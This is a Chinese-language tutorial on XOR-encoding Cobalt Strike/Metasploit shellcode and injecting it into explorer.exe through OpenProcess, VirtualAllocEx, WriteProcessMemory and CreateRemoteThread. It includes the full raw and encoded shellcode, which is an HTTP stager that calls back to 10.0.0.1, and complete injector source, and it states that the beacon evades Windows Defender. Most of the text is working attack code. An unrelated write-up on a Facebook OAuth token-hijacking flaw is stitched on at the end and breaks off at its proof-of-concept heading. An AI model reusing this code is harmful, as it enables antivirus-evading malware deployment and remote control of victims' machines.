e9\xd7\xa6\x47\x58\x0e\x48\x8c\x1d\x16\xad\x7d\xad\xbd\xa4\x40\x58\x4b\x5f\x3d\xa9\xd0\x55\x19\xdf\x43\xf1\x69\xba\x0c\x81\x6f\x91\x72\x94\xc6\x65\xb4\x8d\x5b\x04\x58\x68\x72\x93\xc3\xbc\x46\x11\x0b\xf8\x50\x26\x52\x15\x49\xdb\x36\x0d\x75\x5d\x81\x5d\x47\x1b\x0f\x5e\x25\x50\x34\x23\xc1\x69\xfd\x22\x75\x5d\xea\xa4\x2e\x40\x98\x12\x72\x8e\xd4\xde\xef\xf2\x42\xdd\x08\x6b\xa3\x74\x13\x6c\xa9\x82\xfc\x25\xec\xe6\x22\xea\x9b\x4b\x58\xa8\x85\x67\xa1\x78\x1e\xaa\x07\x31\xd7\xcf\x4a\x74\xf1\x30\x63\x3e\x0e\x5c\x17\x53\x2f\x69\x67\x92\xf8\x28\xfe\xd6\x6f\xce\x06\xc5\xdd\xb2\x0d\x71\xf4\xda\x18\x5e\x26\x00\x41\xbe\xf0\xb5\xa2\x56\xff\xd5\x48\x31\xc9\xba\x00\x00\x40\x00\x41\xb8\x00\x10\x00\x00\x41\xb9\x40\x00\x00\x00\x41\xba\x58\xa4\x53\xe5\xff\xd5\x48\x93\x53\x53\x48\x89\xe7\x48\x89\xf1\x48\x89\xda\x41\xb8\x00\x20\x00\x00\x49\x89\xf9\x41\xba\x12\x96\x89\xe2\xff\xd5\x48\x83\xc4\x20\x85\xc0\x74\xb6\x66\x8b\x07\x48\x01\xc3\x85\xc0\x75\xd7\x58\x58\x58\x48\x05\x00\x00\x00\x00\x50\xc3\xe8\x9f\xfd\xff\xff\x31\x30\x2e\x30\x2e\x30\x2e\x31\x00\x58\x56\x3d\xd2";
对这段shellcode进行编码的python代码如下：
#!/usr/bin/python
import sys
raw_data = "\xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x75\x72\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x4f\xff\xff\xff\x5d\x6a\x00\x49\xbe\x77\x69\x6e\x69\x6e\x65\x74\x00\x41\x56\x49\x89\xe6\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x48\x31\xc9\x48\x31\xd2\x4d\x31\xc0\x4d\x31\xc9\x41\x50\x41\x50\x41\xba\x3a\x56\x79\xa7\xff\xd5\xeb\x73\x5a\x48\x89\xc1\x41\xb8\x56\x1f\x00\x00\x4d\x31\xc9\x41\x51\x41\x51\x6a\x03\x41\x51\x41\xba\x57\x89\x9f\xc6\xff\xd5\xeb\x59\x5b\x48\x89\xc1\x48\x31\xd2\x49\x89\xd8\x4d\x31\xc9\x52\x68\x00\x02\x40\x84\x52\x52\x41\xba\xeb\x55\x2e\x3b\xff\xd5\x48\x89\xc6\x48\x83\xc3\x50\x6a\x0a\x5f\x48\x89\xf1\x48\x89\xda\x49\xc7\xc0\xff\xff\xff\xff\x4d\x31\xc9\x52\x52\x41\xba\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x0f\x85\x9d\x01\x00\x00\x48\xff\xcf\x0f\x84\x8c\x01\x00\x00\xeb\xd3\xe9\xe4\x01\x00\x00\xe8\xa2\xff\xff\xff\x2f\x35\x6e\x6b\x4f\x00\x03\x9a\xf4\xbb\xe0\xdd\x3e\x6c\x87\xa5\x05\x4b\x82\x51\x2f\xd5\x68\x67\x15\xd6\xfd\x10\xf3\xa5\x90\x60\xea\xba\xfe\x1f\x26\x2d\x04\xf3\xec\xcb\xd4\x73\x94\x57\x98\x5e\xde\xec\xb8\x3e\xd9\x4e\x32\xcc\x38\xe3\x94\x06\x1d\x73\x2d\xb3\xd4\x62\x26\xca\x5a\xae\x52\xef\xf4\xc0\x81\x77\x97\xce\xd5\x00\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x34\x2e\x30\x20\x28\x63\x6f\x6d\x70\x61\x74\x69\x62\x6c\x65\x3b\x20\x4d\x53\x49\x45\x20\x38\x2e\x30\x3b\x20\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x35\x2e\x31\x3b\x20\x54\x72\x69\x64\x65\x6e\x74\x2f\x34\x2e\x30\x3b\x20\x47\x54\x42\x37\x2e\x34\x3b\x20\x49\x6e\x66\x6f\x50\x61\x74\x68\x2e\x32\x29\x0d\x0a\x00\x61\xe2\x49\x6c\xb5\x31\x92\x20\x19\xc9\xaa\x69\x2b\xbc\xc1\x8b\x28\xf9\x80\x6c\x92\xac\xba\xea\x06\x32\x05\xc2\x38\x1b\x0f\x3e\x85\x39\xc3\x8a\x12\x21\xe7\x51\x80\x80\x30\x02\xe7\xcc\x8f\x34\x38\xd1\xe2\x48\xf0\x28\x21\xe9\xd7\xa6\x47\x58\x0e\x48\x8c\x1d\x16\xad\x7d\xad\xbd\xa4\x40\x58\x4b\x5f\x3d\xa9\xd0\x55\x19\xdf\x43\xf1\x69\xba\x0c\x81\x6f\x91\x72\x94\xc6\x65\xb4\x8d\x5b\x04\x58\x68\x72\x93\xc3\xbc\x46\x11\x0b\xf8\x50\x26\x52\x15\x49\xdb\x36\x0d\x75\x5d\x81\x5d\x47\x1b\x0f\x5e\x25\x50\x34\x23\xc1\x69\xfd\x22\x75\x5d\xea\xa4\x2e\x40\x98\x12\x72\x8e\xd4\xde\xef\xf2\x42\xdd\x08\x6b\xa3\x74\x13\x6c\xa9\x82\xfc\x25\xec\xe6\x22\xea\x9b\x4b\x58\xa8\x85\x67\xa1\x78\x1e\xaa\x07\x31\xd7\xcf\x4a\x74\xf1\x30\x63\x3e\x0e\x5c\x17\x53\x2f\x69\x67\x92\xf8\x28\xfe\xd6\x6f\xce\x06\xc5\xdd\xb2\x0d\x71\xf4\xda\x18\x5e\x26\x00\x41\xbe\xf0\xb5\xa2\x56\xff\xd5\x48\x31\xc9\xba\x00\x00\x40\x00\x41\xb8\x00\x10\x00\x00\x41\xb9\x40\x00\x00\x00\x41\xba\x58\xa4\x53\xe5\xff\xd5\x48\x93\x53\x53\x48\x89\xe7\x48\x89\xf1\x48\x89\xda\x41\xb8\x00\x20\x00\x00\x49\x89\xf9\x41\xba\x12\x96\x89\xe2\xff\xd5\x48\x83\xc4\x20\x85\xc0\x74\xb6\x66\x8b\x07\x48\x01\xc3\x85\xc0\x75\xd7\x58\x58\x58\x48\x05\x00\x00\x00\x00\x50\xc3\xe8\x9f\xfd\xff\xff\x31\x30\x2e\x30\x2e\x30\x2e\x31\x00\x58\x56\x3d\xd2"
new_shellcode = []
for opcode in raw_data:
new_opcode = (ord(opcode) ^ 0x01)
new_shellcode.append(new_opcode)
print "".join(["\\x{0}".format(hex(abs(i)).replace("0x", "")) for i in new_shellcode])
该脚本将读取我们的shellcode的每个操作码，然后将其与字节0x01（在这种情况下为我们的密钥）进行异或，然后将每个编码的操作码附加到新列表中，最后，将其打印为如下的shellcode
：
运行脚本后，我们获得了已编码的shellcode，我们现在就可以继续往下操作。
现在，我们将开始实现将为我们执行shellcode注入的C代码，我将逐步介绍每个win32 API。
## 打开进程并获取一个句柄
首先，我们需要选择一个向其注入shellcode的进程，然后，我们需要检索该进程的句柄，以便可以对其执行一些操作，然后，我们将使用OpenProcess
这个win32 API，使用的代码如下：
#include <windows.h>
int main(int argc, char *argv[]){
// The PID that you want to use
// You can use GetCurrentProcessId() to get the current PID
int process_id = atoi(argv[1]);
// Declare a new handle as process variable
// PROCESS_ALL_ACCESS
HANDLE process = OpenProcess(PROCESS_ALL_ACCESS, 0, process_id);
// If the operation succeeded it will return the handle
if(process){
printf("[+] Handle retrieved successfully!\n");
// We can print it as pointer using printf
printf("[+] Handle value is %p\n", process);
}else{
printf("[-] Enable to retrieve process handle\n");
}
}
该代码将您要获取其句柄的进程ID作为该代码的第一个参数，然后它将使用具有PROCESS_ALL_ACCESS访问权限的OpenProcess（）来打开该进程并将该句柄保存在变量process中，最后，将为我们打印句柄。
实际上，OpenProcess（）函数采用3个参数，您可以通过此[页面](https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocess)进行查询。
另外，您可以从[此页面](https://docs.microsoft.com/en-us/windows/win32/procthread/process-security-and-access-rights)检查所有访问权限。
在编译代码并运行它以使用pid 4032检索进程“ explorer.exe”的句柄之后，我们将获得以下信息：
我们成功检索到该句柄。
## 在远程进程上分配空间
检索句柄后的下一步将是在该进程内分配空间，我们可以使用[VirtualAllocEx（）](https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualallocex),代码实现如下：
#include <windows.h>
int main(int argc, char *argv[]){
char data[] = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
// The PID that you want to use
int process_id = atoi(argv[1]);
// Declare a new handle as process variable
// PROCESS_ALL_ACCESS
HANDLE process = OpenProcess(PROCESS_ALL_ACCESS, 0, process_id);
// If the operation succeeded it will return the handle
if(process){
printf("[+] Handle retrieved successfully!\n");
// We can print it as pointer using printf
printf("[+] Handle value is %p\n", process);
// Allocate space
// Define the base_address variable which will save the allocated memory address
LPVOID base_address;
base_address = VirtualAllocEx(process, NULL, sizeof(data), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if(base_address){
printf("[+] Allocated based address is 0x%x\n", base_address);
}else{
printf("[-] Unable to allocate memory ...\n");
}
}else{
printf("[-] Unable to retrieve process handle\n");
}
}
我在第7行中添加了一些数据作为转储数据（将被我们的shellcode替换），我们应该让它根据其大小分配内存。
在第25行中，我们将名为“ base_address”的变量声明为LPVOID，它将代表分配的内存的基址。
在第26行中，我们使用VirtualAllocEx（）并为其传递以下参数：
1. process：这是我们之前使用OpenProcess（）检索到的句柄
2. Null：确保该函数将自动分配地址，而不是使用我们已知的地址。
3. sizeof（data）：将写入内存的数据大小。
4. MEM_COMMIT | MEM_RESERVE，PAGE_EXECUTE_READWRITE：我们要使用的分配类型，它描述我们要在该分配的内存区域内执行的操作，该区域是读写执行（RWX）
注意，用RWX分配内存区域不是很隐秘，EDR可以将其视为可疑操作。
最后，在第29行中，我们将打印分配的内存的地址，并将其写入数据，并通过运行代码获得以下内容：
我们将地址“ 0xa50000”作为我们的基地址。
让我进一步解释一下，并告诉您该地址的确切含义。我们将调试器附加到explorer.exe，然后查看该地址的内容：
然后，我将转到地址“ 0xa50000”：
选择表达式并输入地址：
得到以下结果：
如我们所见，函数VirtualAllocEx已为我们在explorer.exe中分配了内存空间，我们准备写入数据。
## 将数据写入内存
现在，这是我们技术中最重要的部分，我们将解码原始操作码并将其直接写入内存，我们将通过从“
0xA50000”开始写入数据并将地址一一增加到下一个内存地址来做到这一点。
我们使用xor编码我们的shellcode，现在我们将使用相同的值来解码每个字节并检索每个操作码的原始状态，这是有关此操作的一个示例：
hex(ord("\xfc") ^ 0x01) # = 0xfd
hex(ord"\xfd") ^ 0x01) # = 0xfc
因此，通过将每个操作码与0x01进行XOR运算，我们将检索原始的shellcode，但这一次不会被AV /
EDR进行的静态分析（基于签名）检测所捕获，因为它将在运行时直接写入内存。
即使使用这种类型的编码，您的有效负载也可能会被标记，因此请确保在操作中使用之前使用更强的编码并对其进行测试。
具体代码实现如下：
#include <windows.h>
int main(int argc, char *argv[]){
unsigned char data[] = "\xfd\x49\x82\xe5\xf1\xe9\xc9\x1\x1\x1\x40\x50\x40\x51\x53\x50\x57\x49\x30\xd3\x64\x49\x8a\x53\x61\x49\x8a\x53\x19\x49\x8a\x53\x21\x49\x8a\x73\x51\x49\xe\xb6\x4b\x4b\x4c\x30\xc8\x49\x30\xc1\xad\x3d\x60\x7d\x3\x2d\x21\x40\xc0\xc8\xc\x40\x0\xc0\xe3\xec\x53\x40\x50\x49\x8a\x53\x21\x8a\x43\x3d\x49\x0\xd1\x67\x80\x79\x19\xa\x3\x74\x73\x8a\x81\x89\x1\x1\x1\x49\x84\xc1\x75\x66\x49\x0\xd1\x51\x8a\x49\x19\x45\x8a\x41\x21\x48\x0\xd1\xe2\x57\x49\xfe\xc8\x40\x8a\x35\x89\x49\x0\xd7\x4c\x30\xc8\x49\x30\xc1\xad\x40\xc0\xc8\xc\x40\x0\xc0\x39\xe1\x74\xf0\x4d\x2\x4d\x25\x9\x44\x38\xd0\x74\xd9\x59\x45\x8a\x41\x25\x48\x0\xd1\x67\x40\x8a\xd\x49\x45\x8a\x41\x1d\x48\x0\xd1\x40\x8a\x5\x89\x49\x0\xd1\x40\x59\x40\x59\x5f\x58\x5b\x40\x59\x40\x58\x40\x5b\x49\x82\xed\x21\x40\x53\xfe\xe1\x59\x40\x58\x5b\x49\x8a\x13\xe8\x4e\xfe\xfe\xfe\x5c\x6b\x1\x48\xbf\x76\x68\x6f\x68\x6f\x64\x75\x1\x40\x57\x48\x88\xe7\x4d\x88\xf0\x40\xbb\x4d\x76\x27\x6\xfe\xd4\x49\x30\xc8\x49\x30\xd3\x4c\x30\xc1\x4c\x30\xc8\x40\x51\x40\x51\x40\xbb\x3b\x57\x78\xa6\xfe\xd4\xea\x72\x5b\x49\x88\xc0\x40\xb9\x57\x1e\x1\x1\x4c\x30\xc8\x40\x50\x40\x50\x6b\x2\x40\x50\x40\xbb\x56\x88\x9e\xc7\xfe\xd4\xea\x58\x5a\x49\x88\xc0\x49\x30\xd3\x48\x88\xd9\x4c\x30\xc8\x53\x69\x1\x3\x41\x85\x53\x53\x40\xbb\xea\x54\x2f\x3a\xfe\xd4\x49\x88\xc7\x49\x82\xc2\x51\x6b\xb\x5e\x49\x88\xf0\x49\x88\xdb\x48\xc6\xc1\xfe\xfe\xfe\xfe\x4c\x30\xc8\x53\x53\x40\xbb\x2c\x7\x19\x7a\xfe\xd4\x84\xc1\xe\x84\x9c\x0\x1\x1\x49\xfe\xce\xe\x85\x8d\x0\x1\x1\xea\xd2\xe8\xe5\x0\x1\x1\xe9\xa3\xfe\xfe\xfe\x2e\x34\x6f\x6a\x4e\x1\x2\x9b\xf5\xba\xe1\xdc\x3f\x6d\x86\xa4\x4\x4a\x83\x50\x2e\xd4\x69\x66\x14\xd7\xfc\x11\xf2\xa4\x91\x61\xeb\xbb\xff\x1e\x27\x2c\x5\xf2\xed\xca\xd5\x72\x95\x56\x99\x5f\xdf\xed\xb9\x3f\xd8\x4f\x33\xcd\x39\xe2\x95\x7\x1c\x72\x2c\xb2\xd5\x63\x27\xcb\x5b\xaf\x53\xee\xf5\xc1\x80\x76\x96\xcf\xd4\x1\x54\x72\x64\x73\x2c\x40\x66\x64\x6f\x75\x3b\x21\x4c\x6e\x7b\x68\x6d\x6d\x60\x2e\x35\x2f\x31\x21\x29\x62\x6e\x6c\x71\x60\x75\x68\x63\x6d\x64\x3a\x21\x4c\x52\x48\x44\x21\x39\x2f\x31\x3a\x21\x56\x68\x6f\x65\x6e\x76\x72\x21\x4f\x55\x21\x34\x2f\x30\x3a\x21\x55\x73\x68\x65\x64\x6f\x75\x2e\x35\x2f\x31\x3a\x21\x46\x55\x43\x36\x2f\x35\x3a\x21\x48\x6f\x67\x6e\x51\x60\x75\x69\x2f\x33\x28\xc\xb\x1\x60\xe3\x48\x6d\xb4\x30\x93\x21\x18\xc8\xab\x68\x2a\xbd\xc0\x8a\x29\xf8\x81\x6d\x93\xad\xbb\xeb\x7\x33\x4\xc3\x39\x1a\xe\x3f\x84\x38\xc2\x8b\x13\x20\xe6\x50\x81\x81\x31\x3\xe6\xcd\x8e\x35\x39\xd0\xe3\x49\xf1\x29\x20\xe8\xd6\xa7\x46\x59\xf\x49\x8d\x1c\x17\xac\x7c\xac\xbc\xa5\x41\x59\x4a\x5e\x3c\xa8\xd1\x54\x18\xde\x42\xf0\x68\xbb\xd\x80\x6e\x90\x73\x95\xc7\x64\xb5\x8c\x5a\x5\x59\x69\x73\x92\xc2\xbd\x47\x10\xa\xf9\x51\x27\x53\x14\x48\xda\x37\xc\x74\x5c\x80\x5c\x46\x1a\xe\x5f\x24\x51\x35\x22\xc0\x68\xfc\x23\x74\x5c\xeb\xa5\x2f\x41\x99\x13\x73\x8f\xd5\xdf\xee\xf3\x43\xdc\x9\x6a\xa2\x75\x12\x6d\xa8\x83\xfd\x24\xed\xe7\x23\xeb\x9a\x4a\x59\xa9\x84\x66\xa0\x79\x1f\xab\x6\x30\xd6\xce\x4b\x75\xf0\x31\x62\x3f\xf\x5d\x16\x52\x2e\x68\x66\x93\xf9\x29\xff\xd7\x6e\xcf\x7\xc4\xdc\xb3\xc\x70\xf5\xdb\x19\x5f\x27\x1\x40\xbf\xf1\xb4\xa3\x57\xfe\xd4\x49\x30\xc8\xbb\x1\x1\x41\x1\x40\xb9\x1\x11\x1\x1\x40\xb8\x41\x1\x1\x1\x40\xbb\x59\xa5\x52\xe4\xfe\xd4\x49\x92\x52\x52\x49\x88\xe6\x49\x88\xf0\x49\x88\xdb\x40\xb9\x1\x21\x1\x1\x48\x88\xf8\x40\xbb\x13\x97\x88\xe3\xfe\xd4\x49\x82\xc5\x21\x84\xc1\x75\xb7\x67\x8a\x6\x49\x0\xc2\x84\xc1\x74\xd6\x59\x59\x59\x49\x4\x1\x1\x1\x1\x51\xc2\xe9\x9e\xfc\xfe\xfe\x30\x31\x2f\x31\x2f\x31\x2f\x30\x1\x59\x57\x3c\xd3";
// The PID that you want to use
int process_id = atoi(argv[1]);
// Declare a new handle as process variable
// PROCESS_ALL_ACCESS
HANDLE process = OpenProcess(PROCESS_ALL_ACCESS, 0, process_id);
// If the operation succeeded it will return the handle
if(process){
printf("[+] Handle retrieved successfully!\n");
// We can print it as pointer using printf
printf("[+] Handle value is %p\n", process);
// Allocate space
// Define the base_address variable which will save the allocated memory address
LPVOID base_address;
base_address = VirtualAllocEx(process, NULL, sizeof(data), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if(base_address){
printf("[+] Allocated based address is 0x%x\n", base_address);
// Data chars counter
int i;
// Base address counter
int n = 0;
for(i = 0; i<=sizeof(data); i++){
// Decode shellcode opcode
char DecodedOpCode = data[i] ^ 0x01;
// Write the decoded bytes in memory address
if(WriteProcessMemory(process, base_address+n, &DecodedOpCode, 1, NULL)){
printf("[+] Byte wrote sucessfully!\n");
// Increase memory address by 1
n++;
}
}
}else{
printf("[-] Unable to allocate memory ...\n");
}
}else{
printf("[-] Unable to retrieve process handle\n");
}
}
这段代码将使用密钥“
0x01”对每个字节进行解码后，将我们的shellcode写入内存中，正如我们在第39行中看到的那样，我使用了for循环在shellcode的每个元素上移动，然后在第42行中进行了异或每个带有0x01的元素以检索原始操作码，并在第45行中将已解码的字节写入内存中的特定位置，最后在第51行中，将作为存储计数器的n计数器移至下一个要解码的存储地址，将操作码写入。
进行写入的函数是[WriteProcessMemory（）](https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-writeprocessmemory)，参数如下：
1. process：这是我们之前使用OpenProcess（）检索到的句柄
2. ase_address + n：这是我们要将操作码写入的地址（从VirtualAllocEx检索到的base_address），n是要移至下一个地址的计数器。
3. ＆DecodedOpCode：DecodedOpCode字节的地址。
4. 1：写入的字节数，只有一个字节。
5. null：因为我们没有指针来接收写入的字节数。
您可以从此[页面](https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-writeprocessmemory)检查WriteProcessMemory需要的参数。
编译并运行程序后，我们将获得以下信息：
如我们所见，我们将每个字节写入所需的所需地址，现在，让我们使用x64dbg进行调试，然后转到地址“ 0x2ec0000”以获取以下内容：
如我们所见，我们将原始字节写入了我们想要的地址（从0x2ec0000开始），并且一切正常！
## 执行shellcode
最后，我们需要将shellcode作为线程执行，并且可以通过以下代码使用CreateRemoteThread（）函数来执行该操作：
#include <windows.h>
int main(int argc, char *argv[]){
unsigned char data[] = "\xfd\x49\x82\xe5\xf1\xe9\xc9\x1\x1\x1\x40\x50\x40\x51\x53\x50\x57\x49\x30\xd3\x64\x49\x8a\x53\x61\x49\x8a\x53\x19\x49\x8a\x53\x21\x49\x8a\x73\x51\x49\xe\xb6\x4b\x4b\x4c\x30\xc8\x49\x30\xc1\xad\x3d\x60\x7d\x3\x2d\x21\x40\xc0\xc8\xc\x40\x0\xc0\xe3\xec\x53\x40\x50\x49\x8a\x53\x21\x8a\x43\x3d\x49\x0\xd1\x67\x80\x79\x19\xa\x3\x74\x73\x8a\x81\x89\x1\x1\x1\x49\x84\xc1\x75\x66\x49\x0\xd1\x51\x8a\x49\x19\x45\x8a\x41\x21\x48\x0\xd1\xe2\x57\x49\xfe\xc8\x40\x8a\x35\x89\x49\x0\xd7\x4c\x30\xc8\x49\x30\xc1\xad\x40\xc0\xc8\xc\x40\x0\xc0\x39\xe1\x74\xf0\x4d\x2\x4d\x25\x9\x44\x38\xd0\x74\xd9\x59\x45\x8a\x41\x25\x48\x0\xd1\x67\x40\x8a\xd\x49\x45\x8a\x41\x1d\x48\x0\xd1\x40\x8a\x5\x89\x49\x0\xd1\x40\x59\x40\x59\x5f\x58\x5b\x40\x59\x40\x58\x40\x5b\x49\x82\xed\x21\x40\x53\xfe\xe1\x59\x40\x58\x5b\x49\x8a\x13\xe8\x4e\xfe\xfe\xfe\x5c\x6b\x1\x48\xbf\x76\x68\x6f\x68\x6f\x64\x75\x1\x40\x57\x48\x88\xe7\x4d\x88\xf0\x40\xbb\x4d\x76\x27\x6\xfe\xd4\x49\x30\xc8\x49\x30\xd3\x4c\x30\xc1\x4c\x30\xc8\x40\x51\x40\x51\x40\xbb\x3b\x57\x78\xa6\xfe\xd4\xea\x72\x5b\x49\x88\xc0\x40\xb9\x57\x1e\x1\x1\x4c\x30\xc8\x40\x50\x40\x50\x6b\x2\x40\x50\x40\xbb\x56\x88\x9e\xc7\xfe\xd4\xea\x58\x5a\x49\x88\xc0\x49\x30\xd3\x48\x88\xd9\x4c\x30\xc8\x53\x69\x1\x3\x41\x85\x53\x53\x40\xbb\xea\x54\x2f\x3a\xfe\xd4\x49\x88\xc7\x49\x82\xc2\x51\x6b\xb\x5e\x49\x88\xf0\x49\x88\xdb\x48\xc6\xc1\xfe\xfe\xfe\xfe\x4c\x30\xc8\x53\x53\x40\xbb\x2c\x7\x19\x7a\xfe\xd4\x84\xc1\xe\x84\x9c\x0\x1\x1\x49\xfe\xce\xe\x85\x8d\x0\x1\x1\xea\xd2\xe8\xe5\x0\x1\x1\xe9\xa3\xfe\xfe\xfe\x2e\x34\x6f\x6a\x4e\x1\x2\x9b\xf5\xba\xe1\xdc\x3f\x6d\x86\xa4\x4\x4a\x83\x50\x2e\xd4\x69\x66\x14\xd7\xfc\x11\xf2\xa4\x91\x61\xeb\xbb\xff\x1e\x27\x2c\x5\xf2\xed\xca\xd5\x72\x95\x56\x99\x5f\xdf\xed\xb9\x3f\xd8\x4f\x33\xcd\x39\xe2\x95\x7\x1c\x72\x2c\xb2\xd5\x63\x27\xcb\x5b\xaf\x53\xee\xf5\xc1\x80\x76\x96\xcf\xd4\x1\x54\x72\x64\x73\x2c\x40\x66\x64\x6f\x75\x3b\x21\x4c\x6e\x7b\x68\x6d\x6d\x60\x2e\x35\x2f\x31\x21\x29\x62\x6e\x6c\x71\x60\x75\x68\x63\x6d\x64\x3a\x21\x4c\x52\x48\x44\x21\x39\x2f\x31\x3a\x21\x56\x68\x6f\x65\x6e\x76\x72\x21\x4f\x55\x21\x34\x2f\x30\x3a\x21\x55\x73\x68\x65\x64\x6f\x75\x2e\x35\x2f\x31\x3a\x21\x46\x55\x43\x36\x2f\x35\x3a\x21\x48\x6f\x67\x6e\x51\x60\x75\x69\x2f\x33\x28\xc\xb\x1\x60\xe3\x48\x6d\xb4\x30\x93\x21\x18\xc8\xab\x68\x2a\xbd\xc0\x8a\x29\xf8\x81\x6d\x93\xad\xbb\xeb\x7\x33\x4\xc3\x39\x1a\xe\x3f\x84\x38\xc2\x8b\x13\x20\xe6\x50\x81\x81\x31\x3\xe6\xcd\x8e\x35\x39\xd0\xe3\x49\xf1\x29\x20\xe8\xd6\xa7\x46\x59\xf\x49\x8d\x1c\x17\xac\x7c\xac\xbc\xa5\x41\x59\x4a\x5e\x3c\xa8\xd1\x54\x18\xde\x42\xf0\x68\xbb\xd\x80\x6e\x90\x73\x95\xc7\x64\xb5\x8c\x5a\x5\x59\x69\x73\x92\xc2\xbd\x47\x10\xa\xf9\x51\x27\x53\x14\x48\xda\x37\xc\x74\x5c\x80\x5c\x46\x1a\xe\x5f\x24\x51\x35\x22\xc0\x68\xfc\x23\x74\x5c\xeb\xa5\x2f\x41\x99\x13\x73\x8f\xd5\xdf\xee\xf3\x43\xdc\x9\x6a\xa2\x75\x12\x6d\xa8\x83\xfd\x24\xed\xe7\x23\xeb\x9a\x4a\x59\xa9\x84\x66\xa0\x79\x1f\xab\x6\x30\xd6\xce\x4b\x75\xf0\x31\x62\x3f\xf\x5d\x16\x52\x2e\x68\x66\x93\xf9\x29\xff\xd7\x6e\xcf\x7\xc4\xdc\xb3\xc\x70\xf5\xdb\x19\x5f\x27\x1\x40\xbf\xf1\xb4\xa3\x57\xfe\xd4\x49\x30\xc8\xbb\x1\x1\x41\x1\x40\xb9\x1\x11\x1\x1\x40\xb8\x41\x1\x1\x1\x40\xbb\x59\xa5\x52\xe4\xfe\xd4\x49\x92\x52\x52\x49\x88\xe6\x49\x88\xf0\x49\x88\xdb\x40\xb9\x1\x21\x1\x1\x48\x88\xf8\x40\xbb\x13\x97\x88\xe3\xfe\xd4\x49\x82\xc5\x21\x84\xc1\x75\xb7\x67\x8a\x6\x49\x0\xc2\x84\xc1\x74\xd6\x59\x59\x59\x49\x4\x1\x1\x1\x1\x51\xc2\xe9\x9e\xfc\xfe\xfe\x30\x31\x2f\x31\x2f\x31\x2f\x30\x1\x59\x57\x3c\xd3";
// The PID that you want to use
int process_id = atoi(argv[1]);
// Declare a new handle as process variable
// PROCESS_ALL_ACCESS
HANDLE process = OpenProcess(PROCESS_ALL_ACCESS, 0, process_id);
// If the operation succeeded it will return the handle
if(process){
printf("[+] Handle retrieved successfully!\n");
// We can print it as pointer using printf
printf("[+] Handle value is %p\n", process);
// Allocate space
// Define the base_address variable which will save the allocated memory address
LPVOID base_address;
base_address = VirtualAllocEx(process, NULL, sizeof(data), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if(base_address){
printf("[+] Allocated based address is 0x%x\n", base_address);
// Data chars counter
int i;
// Base address counter
int n = 0;
for(i = 0; i<=sizeof(data); i++){
// Decode shellcode opcode
char DecodedOpCode = data[i] ^ 0x01;
// Write the decoded bytes in memory address
if(WriteProcessMemory(process, base_address+n, &DecodedOpCode, 1, NULL)){
printf("[+] Byte wrote sucessfully!\n");
// Increase memory address by 1
n++;
}
}
// Run our code as RemoteThread
CreateRemoteThread(process, NULL, 100,(LPTHREAD_START_ROUTINE)base_address, NULL, 0, 0x5151);
}else{
printf("[-] Unable to allocate memory ...\n");
}
}else{
printf("[-] Unable to retrieve process handle\n");
}
}
正如我们在第55行中看到的那样，我们使用CreateRemoteThread（）函数在explorer.exe上作为线程执行Shellcode，并且CreateRemoteThread（）采用以下参数：
1. process:这是我们之前使用OpenProcess（）检索到的句柄
2. null:获取默认的安全描述符；可以在[这里](https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createremotethread)获取详细信息。
3. 100：堆栈的初始大小。
4. base_address：这是我们的shellcode的第一个操作码。
5. null：没有参数传递给线程。
6. 0：线程在创建后立即运行。
7. 0x5151：线程ID
在运行代码之后，我们将获得以下内容：
我们在Windows Explorer中运行了一个CobaltStrike的beacon，而没有被Windows Defender捕获。
## 结论
通过使用这种技术对shellcode进行编码和解码，我们可以轻松绕过AV保护，并在另一个进程中运行shellcode。
您可以根据需要自定义编码器，但也必须编辑解码器，还可以修改代码以满足执行上的需求，并且部分代码仅出于教育目的而编写。 | 社区文章 |
> ps:FB的账户接管
不知道为什么,我有一种直觉,`Login with Facebook`这个功能点我觉得不太安全.
FaceBook使用了多个重定向的URL,但是，要在Facebook中找到一个高危漏洞并非易事。这是非常具有挑战性的。
但是，根据谷歌搜索和StackOverflow的说法，我发现这种方式多年来一直处于脆弱状态，大约9到10年。
## 背景
`Login with Facebook`功能遵循`OAuth 2.0`协议,在facebook.com和第三方网站之间交换token。
该漏洞可能使攻击者劫持`OAuth
flow`并用来接管用户帐户的`access_token`。恶意网站可以同时窃取最常见应用程序的access_token，并且可以访问提供多种服务的第三方网站。例如Instagram，Oculus，Netflix，Tinder，Spotify等。
## POC
